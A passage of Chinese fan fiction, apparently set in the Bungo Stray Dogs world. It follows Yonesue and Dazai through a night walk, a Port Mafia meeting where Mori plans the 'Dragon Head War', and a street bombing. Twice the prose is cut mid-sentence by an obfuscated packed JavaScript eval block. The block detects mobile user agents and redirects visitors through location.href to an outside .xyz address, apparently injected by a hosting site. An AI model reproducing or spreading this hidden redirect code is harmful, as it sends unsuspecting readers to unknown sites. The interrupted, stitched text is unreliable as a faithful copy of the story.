“但是事情会暴露于微小的细节,所以我们在事成之前,还是不要亲身见面为好。”永末顺遂地接下了他的话,没有回头,只是轻轻一用力,太宰也就脱手被她从那个大型垃圾箱里边拽了出来。 “是这样的意思吗?太宰君。” 太宰没有说话。 荒芜空旷的垃圾场、堆积如山的废物,对谁都没有价值的东西累积起来,叫人无处下脚……宛如废土或者末日的景色暴露在他们之前,而在这份人造的噩梦之上,是亘古未变的星空。 同样的景色倒映在不同的眼睛里边,永末觉得太宰应该早就已经看腻了这一切,但他现在默然不语的样子,让她很想问问他看到了什么她不曾读出的东西。 “小夏小姐……是想带我去哪里呢?”几秒的沉默后,倒是太宰先提出了问题。 “没有想过。”永末不假思索地说道。 说话间,她眨了下眼,同步了附近街道的监控,先确认了一遍周围确实不存在港.黑在籍人员,这才继续拉着人跨过拦路的破旧塑料桶。 “之前的公寓,已经被拆掉了哦。”太宰一步一挪地跟着她,用平和的声音说。 “这件事我也知道了。”永末如是回应。 于是他们还是一道离开了垃圾场。 “我没有想好要去哪里……也不是想找地方回去,只是单纯不想留在那里。”走出一段距离之后永末说道,虽然说着没有目的地,但她引路的架势毫不含糊,拉着裹满绷带的手腕,几拐就从崎岖的巷子里边蹿到了有零散行人的街道上。 “如果要说理由的话,那就是既然有段时间不能再见太宰君了,最后的记忆在垃圾场实在是太过让人‘印象深刻’了。” “小夏小姐,很像是必须找到一个理由才会去做一件事的人。”太宰轻描淡写投下笑语。 “那就当作我们在约会好了。”永末回应。 在微凉的夜风里边和有体温的活人牵着手游荡,即使没有目的,也不是多让人为难的事情。 但在路过一家诊所的时候,永末先一步停下了脚步,往黑暗的窗户里边望去。 “不要。”太宰立即明白了她的意思,迅速摆出拒绝的嘴脸。 之前失败的吊颈留下的伤口,看起来并没有被她所忽视,只是先时她按下不表,在遇上合适的时机这才表露出来。 永末稍加思索,态度很温和,说话间,她已经抽刀截断了门锁的锁芯,推开了门,把他往门里边拉,“我又不会借口给太宰君包扎,故意用酒精往伤口上戳。” ……差点忘记了。太宰冷汗。 太宰虽然讨厌痛苦,但同样讨厌医生,在不影响自身活动的情况下,一些由于他的个人爱好经常会出现的小伤,他甚至懒得去看诊,经常自己裹一下了事。 但是这种情况,在之前几个月的共同居住时有所不同,主要就是永末接手了包扎的活,处理还特别简单粗暴,很难让人不怀疑是对于他爱好的某种报复。 现在也是如此,眼见永末很顺手往诊所的抽屉里头塞了张万元大钞,借用了这里的纱布和药物,坦然地对他伸出了手。 “实不相瞒,我最近旁观了很可靠的医生姐姐的急救操作,有了新的进修……一定想让太宰君体验一下……” 等等……不要以为他不知道她在说谁啊!太宰治立即化身液体猫咪,扭动着想从她的手心流走。 “痛痛痛……”几分钟之后,逃跑失败的太宰,更新了脖子上的绷带蝴蝶结,以双眼变成x的状态挂在她的手臂上,虚弱地指责道,“这是约会应该存在的流程吗!” “是失误。”永末果断承认错误。因为突然产生的想法,她伸手捋了一把瘫在手臂上的那个脑袋。 比想象中稍微顺滑的触感,细碎地从手指之间流动下去了。 太宰一副没有预料到的样子,睁大了眼睛看她,没有再度出声指责。 永末不知道自己是应该表现得稀松平常,还是应该伸手遮蔽住他现在看向她的眼神。 “小夏小姐……”在安静无言的对视后,本来永末并不介意今晚的时间直接在这份静谧中完全流走,但太宰奇妙地突然出声了。 他好像遇到了连操心师也不能回答的问题,但又微妙地,恰巧地命中靶心。 “……为什么会对我‘一见钟情’呢?”为什么偏偏会选择我呢? “……”永末微微一怔,从那份莫名出现的柔软心绪中清醒了。 理由是……本局游戏只有一个攻略对象。她理智地想着。 而另一个问题随之浮上脑海: 太宰,知道“攻略游戏”的存在吗? 虽然说关于这点她自觉没有露出过马脚,但也许……在太宰的视角中看来,她压根表现得错漏百出呢? 但如果他知道……为什么现在还能对她诞生类似“喜欢”的心情呢? “我……”永末恍惚不言。 现在应该怎么回答? 因为“喜欢”……?她都不清楚有没有的东西,难道太宰会无法发觉吗? 因为“游戏”……?啊,在这种时刻说出“游戏”,就算系统禁言了也会在脑子里当场大叫起来的吧。 而且……这并不是真实的理由。游戏并不是强制进行的,仅仅是因为他那个时候自己跳进网里边,要求被捕捞走,所以她才一时动念做出了选择。 ……所以她是在为当时的谎话负责吗? 也不是。永末自知自己绝非那么有道德的人,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311272|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的行事底线恐怕还没有中也高,不过大概比太宰要稍微高一点。 那么她是被迫在为自己的选择负责? 这个念头在浮现出来的同时被理智打消了,现在她具有的筹码,已经足够登上命运的赌桌了,那么选择把天平朝向他的方向偏斜,已经不能单纯由最初的惯性来解释了。 ……她一向觉得有些事情不需要想得这么明白,在需要理解的时候,回答会自动出现的。 但是现在她不想中途放弃,反而想要伸手去把水中未明的月亮真实地捞起。 “我……不知道。”最终得到是模糊不清的回答。 ……拆解不出来。现在的自己是否在“喜欢”对方,还是因为某种理由去“喜欢”对方,全都不理解。 “太宰君,不妨问得明白一点……”永末不自觉地又靠近了一点太宰,“也许‘一见钟情’……就是第一眼就知道一定会发生的事情。” 太宰把她的困惑、祈求、隐约浮动的希冀和其下尚未被察觉的“爱”都读到了,这些合并为了他的一声含而未露的叹息。 “那么,小夏小姐,怎么会情愿把‘方向’交付给我呢?”最后他只是这么轻巧地发问。 永末凝视着近在咫尺太宰的眼睛,圆润的眼型,好像还没有完全脱离少年期的可爱,下方稍微有点灰色的阴影。 从里边清晰地映出一个她自己。 好像很多人都觉得,她永远都清楚自己在做什么,想要什么,为此能付出什么,最后会获得什么? ……但她不是从异能力名就在迷路吗? 这个世界不是她的起点,也不会是她的终点,在所有已经被忘记掉的曾经看来,她早已背弃了最初的方向,而对于所有尚未发生的未来来说,也许会在之后被时间再度洗涤的现在,也只不过是一段无关紧要的歧途。 “因为我想要的……太宰君许诺的……对现在的我来说,是更值得的东西吧。”永末最后这么回答道。 明明小夏小姐应该知道的,“诺言”和“谎言”只是一字之差啊。太宰轻轻想着。 “而且……完全的‘信任’谁,‘依赖’谁,我还没有尝试过。”永末缓缓地说道。 如果代价是支付得起的话……不妨去尝试一下吧。她的眼神中透露着这样的意思。 “太宰君会让我从天平的另一边掉下去吗?” 但……即使掉下去,又能怎么样呢?在等待太宰回答的时候,永末同时也想到。 “小夏小姐在我这一边的话,我当然不会辜负小夏小姐的信任啊。” 太宰直起身,仿佛也做出了什么决定,他微微笑了一下。 “好像理解了一些,之前情报里边奇怪的地方呢,为什么有些手笔仿佛有我的影子……那么,小夏小姐,就让我一起,帮助‘黑鸟’起飞吧。” 选择,在此刻,完全达成了。 56.第56章 几个月后……或许也没那么久。 大概是今年的火星位置不太对劲,糟糕的事态总是接踵而至,连让人喘口气的功夫都没有。 确切一点说,就在几十天后,森鸥外召开了五大干部的集合会议。 港.黑会议室跟顶层办公室的氛围有些许偏差,其中最大的差异,大概是身处其中的氛围更加庄重和肃穆。 几十米的长桌直直隔断了内部的空间,灯光把阴影从两侧打下,把左右坐席上坐着的人也打成了黑色的影子,更显得中间的森首领宝相端庄。 这很好地缓解了名义上的五大干部会议,只来了四个的尴尬。 更尴尬的是,这四个里边有两个还并非干部。 太宰治推开门,即使发现自己是最后一个,脸上也没多少情绪,只是随口溜出一句抱怨,便往森首领的左侧下手拉开座位,“没想到这种会议还能有小矮子的事。” “啧。”本来应该反口相讥的中也,做出忍耐的表情,从牙缝里挤出一声不欲理会的气音,把视线从桌子对面的不明物上移开,摆出了漠然无视的姿态,任凭这句话落在空气里头。 “既然大家都已经到场了……”森鸥外旁观着一切,说不上是满意还是不满,此刻出声打了圆场,扯回了正题,“还是说回会议的事情吧。” 森鸥外明白,中也本能是想顶回一句太宰的嘲讽的,但在暗杀王事件之后,因为涉事少女的死亡,他们之间似乎隐隐留下了裂痕,中也对太宰的态度明显得冷淡下去了。 但这也正是他所想看到的情况,他对此也乐见其成。 原本预订的“双黑”搭档,在暗杀王事件后,已经不再有必要推出去打响名号了。两人身边本该被清理掉的附翼,在这段时间的经营后反而变成了拱卫他们的势力,倒是他们间的“不合”形成了组织里边新的平衡。 在他做出示意之后,中也和太宰都不再作声,不管是真是假,都做出了面对首领应该有的尊重表情。 而他顺着话头,扫过了在场的诸位,从左到右的四个座次,坐着的分别是太宰治、尾崎红叶,中原中也、干部大佐。 ……能够聚拢起来讨论大事的,港.黑中完全属于他的棋子,真是稀少啊。 森鸥外在心里做出了虚伪的感叹,暂时搁置了多余的想法,双手合十。 “大家也都发觉了吧,最近其他势力跟港口mafia冲突的事件开始飙升……” 他真情实意地做出了悲伤的表情。 “明明我们港.黑的人手也不是很充裕,这样无谓的牺牲久了真是让人心疼。” 太宰努力不让自己神游天外的反应表露得太明显,在公开的正式场合,森首领不怎么容忍他的不敬,而他也没必要在这些小事上踩线。 他的目光无聊地在坐席上的几人身上打转。 ……这里恐怕只有小矮子在真心担忧着港.黑的人员消耗。其他人都知道是托词。 在尾崎红叶伸手用和服虚虚掩了掩嘴唇的表情上,和大佐连眼神都没有波动一下的反应里,太宰明白他们早就知道了这背后的缘故。 “龙头战争”,当然现在还没有人做出命名,这场在其他世界中长达88天,卷入了几乎全横滨里世界组织的大型冲突,起源是某个异能者的死亡。 而不巧,死者的手中有五千亿的资产。 “……最近,关东地区流入了无主的巨额财富,似乎让某些不自量力的家伙们心动了啊。”耳边的森先生正巧下了断言。 “接下来的,会是战争。” “毕竟如果让港.黑顺利吞下这笔资产……那最后的一个短板就堵上了。”太宰随意捧哏道。 “在暗杀王事件后,组织的名望已经水涨船高……现在再不联合起来给我们找点麻烦,之后港.黑就真的要变成横滨的‘无冕之王’了。” “哎呀,这也正是我们的目标……”森鸥外闻言,微微一笑,把脑袋搁在双手腕部。 他说得成竹在胸,气定神闲,“这些小组织让你们处理那真是大材小用,但比起被动地卷入这场风暴,或者成为被诸多勇者联合围攻的‘魔王’,我还是希望……” “我们成为这场战争的发起者,获得这笔无主之物,而这场战争后,横滨的黑夜,也应该只有我们一个声音。” ……这就是,龙头战争的开端了。 …… “太宰君。”会议结束后,其他诸位纷纷起身离去,太宰正准备跟着起身时,听到了森首领的叫他的声音。 森鸥外不用多说几个字,其他几位便意会这是首领和他学生的私人小会,没有多停留地先行离开,只有中也仿佛有点在意地回头看了看,恰巧跟太宰有了几秒的对视。 太宰没有表情,也仿佛没有察觉中也的回头,只是自如地调转视线和位置,拐回了长桌的另一头。 于是那次仿佛不存在的目光相接,便在突然出现的爱丽丝关门之后,一同被关在了门后。 “森先生~已经说过,那些任务,我知道了。”太宰心知肚明他又准备提起什么,但没必要表现得太过积极。 “那个任务,太宰君也知道了吗?”森鸥外还维系着双手交叠放在下巴底下的姿势,也许是光影不同的缘故,此刻的表情居然意外有点幽深。 太宰多看了他两眼,这才悠游自在地说道,“捕鸟计划吗?” “毕竟是太宰君说的,黑鸟会被灾祸捕捉……而如果他真的是预言能力者,哪里会放过这笔巨款呢?”森首领不无感叹地说道。 他说着,接过爱丽丝递过来的纸张,在上头信笔勾了几笔,接近温柔地问道。 “以太宰君的能力,这次应该不会再失败了吧?” “追踪这笔资产的尾巴,这种事情我已经在做了。如果有谁插手其中,想要攫取这笔钱的话,绝对逃不出我的眼睛。”太宰做出思考的表情,“但是要调取部下去进行计划的话……” “……我当然会给太宰君相应的权限。”森鸥外了然地把手中的东西递给了他。 “银之神谕。”他温和地介绍,“太宰君应该知道如何‘正确’的使用吧?” “那就……没有问题了。”太宰像小孩子一样慢吞吞地说道,他平稳地接过纸张看了一眼,又好像对待废纸一样团了团就塞进兜里。 “……等等!小心蹭花墨水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16334241|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊!”森鸥外当场破功,伸手阻拦,慢了一拍眼睁睁看着小混蛋直接拍拍屁股转身就走。 “啊,反正这个东西的作用还是来源于森先生的承认嘛。”太宰治吗回头,背对着他摆手道,出去的时候还记得关门,“森先生承认的时候,那不是要多少有多少?” 太宰倒不是第一次用这个东西,但知道推动织田作去死的那个任务,他也拿着这个东西后,他还是第一次再用。 ……其实还是没有任何特别标识的东西。只是首领是否承认。 跟他所猜的那样,没有什么特别,所以其实也没有复制的价值。 但首领承认的时候,它就是真实的。 “话说,森先生。”会议室的大门已经关上,只留下森鸥外一个人沉浸在思绪之中,却又在几秒之后,突然又被出去的人重新打开。 黑暗的门缝中探出太宰那张无辜的脸。 “捉住‘黑鸟’,居然是一件需要银之神谕的事情吗?森先生?” 森先生……你是不是太过在意那家伙了?他的眼睛亮晶晶地发出这样的探问。 …… “……结果森先生还是三言两语地糊弄过去了。” “你到底对森先生做了什么啊?怎么搞得好像给他留下了什么心理阴影一样?” “但是想象不到呢,森先生这种人还能留下什么心理阴影……?只有他给人留下的份吧?” 太宰猛猛戳着手机屏幕上的蓝色史莱姆桌宠,仿佛面前是个活人那样地抱怨着。 软塌塌的团子果冻做出被他戳得东摇西晃的动画,Q弹得抖动着。 几秒后,从团子的上方一个字一个字地弹出对话框,太宰几乎能相信得到永末说话的语气。 【这种事情谁知道。】 “啊,好敷衍。”太宰说着笑起来。 在那次会议之后,其实已经过去了十来天,只是太宰这才从乱七八糟的事情里头忙完,想起来跟永末聊起这件事。 虽然说最近不能见面,他也不知道对方躲在哪里做些什么,但永末先前分别的时候,给他的手机里头留下了一个桌宠样式的史莱姆养成游戏,其中就有对话的选项。 也许这种小游戏对于三岁小孩子来说太过幼稚,但对于16岁的太宰来说那真是刚刚好。 永末每次一登录上线,就能发现太宰又在激情氪金给赛博团子胡吃海塞,还格外喜欢投喂青椒……大概也是一种报复了。 甚至有一些需要肝的成就,他居然也在忙碌的任务间隙给刷出来了。 “总之我也找到一下‘黑鸟’之前的重大行动和相关的情报……一起发给你吧。”太宰说着,又戳了几下果冻。 不得不说,他其实对于加入几年前的“欺骗整个日本政府,提早结束异能战争”的事情也有很大兴趣,甚至往里边加了很多只有从书才能在其他平行世界找到的情报。 蓝色史莱姆不领情,还在一个字一个字地往外蹦,太宰的目光微微凝住了: 【那个先不说,森首领在意的……说不定,是别的东西。】 【只有现在还能影响到森首领的东西,他才会一直在意吧?】 57.第57章 “别的东西……”永末尚夏在咖啡馆之前的露天座位上思索着,两米多高的太阳伞落下的阴影覆盖了她的面容,同时也遮蔽了路边监控的拍摄。 在路人的视角下,披着黑色长发,挂着遮盖大部分面孔的墨镜,对着手机和电脑,一副处理工作架势的女性,确实也不是什么值得在意的景象。 “时至今日,依旧对森首领起效的某个‘把柄’吗?”永末顺着思路往下想,但同时又觉得难以想象。 虽然在过往的时候,有心算无心说不定真的能拿到什么“把柄”,但很难想象时隔多年森首领还能对这种威胁束手无策什么的。 【真相什么的,从知情人的嘴里知道就可以啦。】 屏幕上的Q版晴天娃娃摇晃着吐出文字,海藻一样的头发柔软地在晃动中展开。 另一边少年人轻快的声音也一起随着耳机流入脑海,让永末的注意稍微有点偏移。 ……空闲的时候去订制一个类似的毛绒玩具好了。她微妙地一竿子岔到别的思绪。 不管拿来做捏捏,还是吊起来当风铃配件,感觉都会很解压。 但面上她还是八风不动地键入了文字。 【知情人?是指与谢野小姐吗?】 【当然啦,总不能让我去问森先生吧!】对面立即传来了对于她明知故问的抗议,但这抗议本身倒也更近似故意撒娇。 永末不禁微微一笑,突然有点想看到太宰现在的表情,应该是故意展露自己颜值的,显得很蓬松可爱的样子。 ……啊,也说不定是面无表情。 毕竟现在看不见,就不需要表演了。 永末收回笑容,把心神重新放回正事上边。 晶子小姐……侦探社……对这场战争来说的局外之人。 同时也是常暗岛,森鸥外手下的“死亡天使”……另一场战争的亲历者。 她好像没有理由把这么秘密的过往告诉她…… 【我会去弄明白我做了什么的。】永末还是做出了保证。 手指刚刚发送文字,直觉和本能敏锐地捕捉到了什么不对劲。 短短的一秒内,永末猛地一压笔记本,迅捷地卷走桌上的物品,顺便一股脑裹下了刚巧靠近座位的小女孩,连人带物品,矮身往桌下一钻。 她做得很及时,被投掷到附近的炸弹已经炸开,炽热且要命的光和热扑面而来,让朝向那边的背部有种火燎的剧痛。 耳朵好像有点失灵,脑子也有点谜之震荡,好在下一秒在绝强的恢复力下,这一切都已经被平复了。 随着震耳欲聋的爆炸声结束,隐约还有开枪的声音作为弥补。 但永末没有出去应战。这不是她的战斗。 ……“嗒。”露天太阳伞断裂,伞面垂在街道上,发出清脆的声音。 除了不小心死掉的家伙,或者缺胳膊断腿跑不掉的人,附近的居民反应过来开始逃跑,很镇定地在几秒内疏散出一片空地,而交战的两伙黑西装也在激烈的枪火交锋中减员躲避,在死伤中逐渐离开这条街道。 “呜……哇啊啊啊……”手臂里边小鬼开始理解发生了什么,从软软的很暖和的活物,变成跟脑子里边的系统同个版本的噪音开水壶,作为这次遇袭的尾声音效。 永末反应过来,松开她,抱着电脑和手机,自己先一步钻出只剩半截的桌子,左右看了看街道上被波及到的焦黑建筑物,和仿佛已经习惯了这一切、很淡定地从各个角落重新冒出来的横滨居民。 ……只是一次普通的、在这段时间格外频繁的mafia交锋。 仅仅是这次不幸波及的路人里边有她而已。 硝烟的气味,混杂其中的血腥味,战争的影子漂浮在客气里边,佐料是小孩子的哭声。 永末侧头看了一眼身边还哭到停不下来的小女孩,衷心希望她的父母只是先逃走了,而不是路边的哪具尸体。 【“龙头战争”……还会持续多久呢?】 她打下了这个自己也不清楚想问什么的问题。 …… 太宰微微一顿,凝视着屏幕上弹出的问题。 【88天……】这样的话语到嘴边,又重新滑落下去了。 原本世界线里边的长度而已。 现在既然存在着确实的,来自书的“预知”,又能回转时间做出影响……那么自然加速进度,还是消除事件,都在他的一念之间。 但太宰其实不太确定永末的意图……屏幕上的史莱姆团子只露出一对豆豆眼,他觉得小夏小姐问出这个问题的表情,也只会是那张让人难以捉摸的呆脸。 “龙头战争”……其实一定会出现。因为港口mafia,需要这场战争,森先生,需要这场战争。 因为现在的港口mafia,还不能说是森先生的港口mafia,不管是这次还是上次的战场,都适合他悄无声息地推下一些多余的棋子,同时去赢得更重要的利益。 太宰洞若观火,又无动于衷。毕竟他也是下手浑水摸鱼的那一个。 哪些是“弃子”,哪些是“干部”,哪个是“首领”,不到最后,谁知道这是谁的棋局呢? “要我加速煮沸这锅粥吗?”太宰最终这么轻松地询问道。 【如果可以的话。】依旧是分辨不出情绪的回应。 “如果借由一下小夏小姐的名义的话?”太宰说着原本就计划好的事情,同时预备根据对面的回应更易脑内的计划。 转瞬之间,数人的生死被提前,数人的生死被推翻。 【五千亿……能拿到吗?】 即使亲身体验了一回,对面的人还对操心师抱有真切的、可爱的忧虑。 “那个嘛……”早就已经收入囊中了哦。 从一开始,所谓五千亿的大部分,就已经被他拿到了……战争的进度,一直在被遥控着。 太宰没有继续这个话题,转而抛出了另一个问题,“不过,为什么突然会想问这个问题呢?” 团子给出了未曾预料的回答。 【好像遭遇了因为这次事件死掉双亲的小孩了,是叫……】 跳跃的字眼在他的眼睛里边微微放大了。

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